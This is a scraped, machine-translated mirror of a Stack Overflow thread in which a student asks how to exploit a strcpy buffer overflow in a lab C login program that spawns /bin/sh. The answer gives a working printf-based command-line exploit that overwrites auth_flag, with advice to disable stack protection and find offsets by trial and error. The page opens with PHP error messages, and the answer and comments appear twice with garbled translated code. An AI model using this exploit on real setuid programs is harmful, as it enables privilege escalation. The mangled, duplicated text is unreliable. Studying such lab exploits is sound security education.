Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/72.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C 如何通过缓冲区溢出攻击获得根访问权限?_C_Buffer - Fatal编程技术网

C 如何通过缓冲区溢出攻击获得根访问权限?

C 如何通过缓冲区溢出攻击获得根访问权限?,c,buffer,C,Buffer,如何对此进行缓冲区溢出攻击以获得根访问权限。 我试着找一个地址,但在这方面没有多少线索。 我禁用了ASLR,并且在编译时没有使用堆栈指针。 当我输入超过16个字节时,它在gdb中给了我分段错误: #include <stdio.h> #include <stdlib.h> #include <string.h> #ifndef TEAM_VAR_SIZE #define TEAM_VAR_SIZE 410 // <------ Change this

如何对此进行缓冲区溢出攻击以获得根访问权限。 我试着找一个地址,但在这方面没有多少线索。 我禁用了ASLR,并且在编译时没有使用堆栈指针。 当我输入超过16个字节时,它在gdb中给了我分段错误:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif

int check_authentication(char *username, char *password) {

   int auth_flag = 0;
   char team_var[TEAM_VAR_SIZE];
   char username_buffer[16];
   char password_buffer[16];

   strcpy(username_buffer, username);
   strcpy(password_buffer, password);

   if(strcmp(username_buffer, "This doesn't matter") == 0 && strcmp(password_buffer, "neither does this") == 0)
      auth_flag = 1;

   return auth_flag;

}

int main(int argc, char *argv[]) {

   if(argc < 3) {
      printf("Usage: %s <username> <password>\n", argv[0]);
      exit(0);
   }

   if(TEAM_VAR_SIZE == 0) {
        printf("\nPlease set the Team Var before moving forward with the lab.\n");
    }

   if(check_authentication(argv[1], argv[2]) == 1) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
      printf("      Access Granted.\n");
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
      system("/bin/sh");
   } else {
      printf("\nAccess Denied.\n");
   }

}
#包括
#包括
#包括
#ifndef团队规模

#定义TEAM_VAR_SIZE 410//您可以使用不安全的strcpy(username\u buffer,username)
导致的缓冲区溢出重写
auth_标志。412个字节需要添加到
username\u buffer
length(16):410用于
team\u var
buffer,2用于padding(大于或等于410的
sizeof(int)=4的最小倍数为412)

$。/test“$(printf'%0*d\x1'$((16+412))0)”“x”
-=-=-=-=-=-=-=-=-=-=-=-=-=-
允许访问。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$ 
如果遇到以下错误:

***检测到堆栈崩溃***:终止

然后,您需要使用以下GCC标志编译程序:
-fno stack protector
。金丝雀是防止攻击者在堆栈上进行缓冲区溢出的安全措施。它在缓冲区的末尾添加一个随机值,以防止用户重写堆栈上的返回地址和/或变量。

您可以使用不安全的strcpy(username\u buffer,username)
导致的缓冲区溢出重写
auth\u标志。412个字节需要添加到
username\u buffer
length(16):410用于
team\u var
buffer,2用于padding(大于或等于410的
sizeof(int)=4的最小倍数为412)

$。/test“$(printf'%0*d\x1'$((16+412))0)”“x”
-=-=-=-=-=-=-=-=-=-=-=-=-=-
允许访问。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$ 
如果遇到以下错误:

***检测到堆栈崩溃***:终止

然后,您需要使用以下GCC标志编译程序:
-fno stack protector
。金丝雀是防止攻击者在堆栈上进行缓冲区溢出的安全措施。它会在缓冲区的末尾添加一个随机值,以防止用户重写堆栈上的返回地址和/或变量。

除非让root用户执行代码,否则无法利用此漏洞获得root用户访问权。@Barmar binary可能拥有root权限,这要感谢setuid@AnisLadram是,但这需要root给它setuid。在某些时候,你必须得到root用户为你做一些事情。这就是为什么大多数特权升级漏洞涉及系统守护进程中的缓冲区溢出漏洞,因为它们通常运行为root。@ Barmar是正确的,但是把它看作是对学生的练习。它可能是为了学习利用漏洞的技术:)除非您获得root用户来执行代码,否则您无法通过利用漏洞获得root用户访问权。@由于setuid@AnisLadram是,但这需要root给它setuid。在某些时候,你必须得到root用户为你做一些事情。这就是为什么大多数特权升级漏洞涉及系统守护进程中的缓冲区溢出漏洞,因为它们通常运行为root。@ Barmar是正确的,但是把它看作是对学生的练习。这可能是为了学习利用漏洞的技巧:)如果团队规模为440,我应该输入什么?@Anonymous我猜是440?因为110*4=440。毫不犹豫地使用它:尝试数字,直到您获得访问权限为止(如果没有发生任何事情,则增加,如果出现故障则减少)。谢谢Anis,我做到了。非常感谢您的帮助如果团队规模为440,我应该输入什么?@Anonymous我猜是440?因为110*4=440。毫不犹豫地使用它:尝试数字,直到您获得访问权限为止(如果没有发生任何事情,则增加,如果出现故障则减少)。谢谢Anis,我做到了。我感谢你的帮助